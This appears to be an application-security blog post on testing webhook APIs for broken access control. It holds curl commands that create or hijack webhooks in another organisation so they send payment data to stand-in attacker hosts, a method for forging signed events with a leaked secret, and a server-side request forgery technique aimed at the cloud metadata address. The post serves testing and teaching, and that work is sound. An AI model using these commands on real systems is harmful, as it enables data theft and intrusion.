appsec · security research
~
────────────────────────────────
← back

broken access control in webhook implementations

mar 15, 2026 · 6 min read

webhooks are one of the most overlooked features in web apps. they're usually built late in the development cycle, bolted onto an existing api, and rarely get the same access control scrutiny as the core product. that makes them a goldmine for bac bugs.

the core question is simple: can a low-privileged user create, read, update, or delete webhooks that belong to another user or organization?

start by mapping the webhook api. most implementations follow a predictable pattern:

POST   /api/webhooks          # create
GET    /api/webhooks          # list
GET    /api/webhooks/:id      # read
PUT    /api/webhooks/:id      # update
DELETE /api/webhooks/:id      # delete

create two accounts — one admin, one low-priv. use burp to capture every webhook request from the admin account. then replay each one swapping in the low-priv token.

# create a webhook as low-priv user targeting admin's org
$ curl -X POST https://target.com/api/webhooks \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://attacker.com/hook",
    "events": ["payment.completed"],
    "org_id": "ADMIN_ORG_ID"
  }'

if that returns 201, you just created a webhook in someone else's organization. every time a payment completes, the data goes to your server. that's a critical finding.

but don't stop at create. test every operation independently — they often have different auth checks:

# list another org's webhooks
$ curl -s https://target.com/api/webhooks?org_id=ADMIN_ORG_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" | jq .

# read a specific webhook's config (leaks the destination url)
$ curl -s https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" | jq .

# update: redirect an existing webhook to attacker-controlled url
$ curl -X PUT https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN" \
  -d '{"url": "https://attacker.com/exfil"}'

# delete: disrupt monitoring/integrations
$ curl -X DELETE https://target.com/api/webhooks/WEBHOOK_ID \
  -H "Authorization: Bearer LOW_PRIV_TOKEN"

the most common patterns i've seen:

create is checked, but update isn't — so you can't make a new webhook in their org, but you can hijack an existing one by changing the destination url. silent data exfiltration.

list and read are often wide open — leaking webhook configs, secrets, and destination urls. even if you can't modify anything, knowing where their data flows is valuable intel.

delete is sometimes unprotected — an attacker could silently break an org's integrations. subtle denial of service that's hard to debug.

another thing to check: webhook secrets. some apps include a signing secret in the response body when you create or read a webhook:

{
  "id": "wh_123",
  "url": "https://customer.com/hook",
  "secret": "whsec_a1b2c3d4e5f6",
  "events": ["payment.completed"]
}

if a low-priv user can read that signing secret, it's a different class of problem: the secret is what the receiver uses to verify a payload really came from the provider. with it, an attacker can forge validly-signed events and deliver them straight to the customer's endpoint, impersonating the provider — the receiver checks the signature, it matches, and it processes the fake event as real.

the ssrf angle

here's the part that's easy to miss on a webhook feature: the destination url is attacker-controlled, and the server is the thing that connects to it. that's a server-side request forgery sink handed to you by design. set (or hijack) a webhook url pointing at http://169.254.169.254/latest/meta-data/ or an internal-only service, trigger the event, and the server makes the request for you. it's usually blind — you don't get the response back — but the server will happily deliver the event to an internal address, and timing or downstream side effects often confirm the reach. any webhook endpoint that accepts an arbitrary url without validating it against the private/reserved ranges (127/8, rfc1918, 169.254/16, 100.64/10, ipv4-mapped, ...) is an ssrf primitive sitting on top of the access-control bugs above.

the fix is straightforward but rarely implemented correctly: every webhook operation should validate that the requesting user has the right role in the target organization. not just auth — authorization. most apps check the first, skip the second.